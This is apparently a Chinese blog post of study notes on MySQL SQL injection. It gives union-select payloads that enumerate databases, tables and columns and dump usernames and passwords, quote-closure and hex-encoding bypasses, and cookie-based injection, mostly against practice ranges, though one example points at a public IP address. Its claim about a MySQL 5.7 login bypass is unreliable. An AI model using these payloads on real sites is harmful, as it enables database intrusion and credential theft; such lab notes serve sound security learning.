MySQL注入
mysql注入
-
MySQL有很多数据库,5.0以上默认都会携带一个information_schema数据库内置的函数有user(),database(),version()等
-
?id=1 order by 5 用于探索字段数,然后可以在回显的字段中使用函数查询信息
?id=1 union select user(),database(),version(),4,5 与access不同,要查询MySQL的表名
需要先知道对应的库名,所以用database()查看当前的数据库
-
?id=1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables
where table_schema='hackyl'(需要引号) 但是PHP可能用魔术引号将引号注释成',从而
使得查询错误,此时我们可使用工具将其转换成16进制等
-
?id=1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns
where table_name='user'(user为表名,从表名为user中查询所有的列名)
-
知道列名后便可查询对应的内容:?id=1 union select username,password,3,4,5 from user
-
皮卡丘靶场中还有搜索型、xx型注入,有%号闭合如vince%'#,也有()来闭合,如Vince')#,
根据报错信息用诸如1'#或1'"#等来一个个测试闭合即可
注:mysql5.7版 本有个漏洞,连续登录128次便可自动登录
cmd中执行MySQL数据库
mysql -u账号 -p密码
show databases; 展示所有数据库,分号代表命令结束
user hackyl 进入该数据库
show tables; 展示该数据库所有表
mysql-cookie注入
有些页面是静态的,只有充值入口等地才有后台数据的连接,有参数的地方便有可能有注入,
可使用插件cookiemanager也可在burpsuite中抓包,其中参数就可能有注入。
http://117.24.12.204:10004/?product-46.html在该链接中,使用插件可修改cookie参数
靶场
第四关php+mysql手工注入
- [http://192.168.1.7/index.php?id=1](http://192.168.1.7/index.php?id=1) order by 5,可以联合查询,然后可以利用MySQL 的
内置函数进行相关查询了
[http://192.168.1.7/index.php?id=1](http://192.168.1.7/index.php?id=1) union select user(),database(),version(),4,5
查到当前用户:[root@localhost](http://root@localhost)
当前数据库:hackyl 版本:5.0.51b-community-nt-log
- 知道当前数据库名后查表
index.php?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables
where table_schema='hackyl' (但是这里的引号被\转义了,可以使用小葵转换成十六进制)
- 知道表名同理可以查字段名
index.php?id=1 union select group_concat(column_name),2,3,4,5 from
information_schema.columns where table_name=0x75736572随后
- 通过表可以爆出字段值
union select group_concat(username),group_concat(password),3,4,5 from user
php+mysql另类cookie注入
在cookie中有参数的地方也可能有注入,要使用到cookiemanager插件,同样的道理联合查询之后,
在回显位查看版本,当前数据库,表等; CNY" and 1=2 union select 1,2,database(),4,5,6#
本文来自博客园,作者:MKID1412,转载请注明原文链接:https://www.cnblogs.com/MKID/articles/16626996.html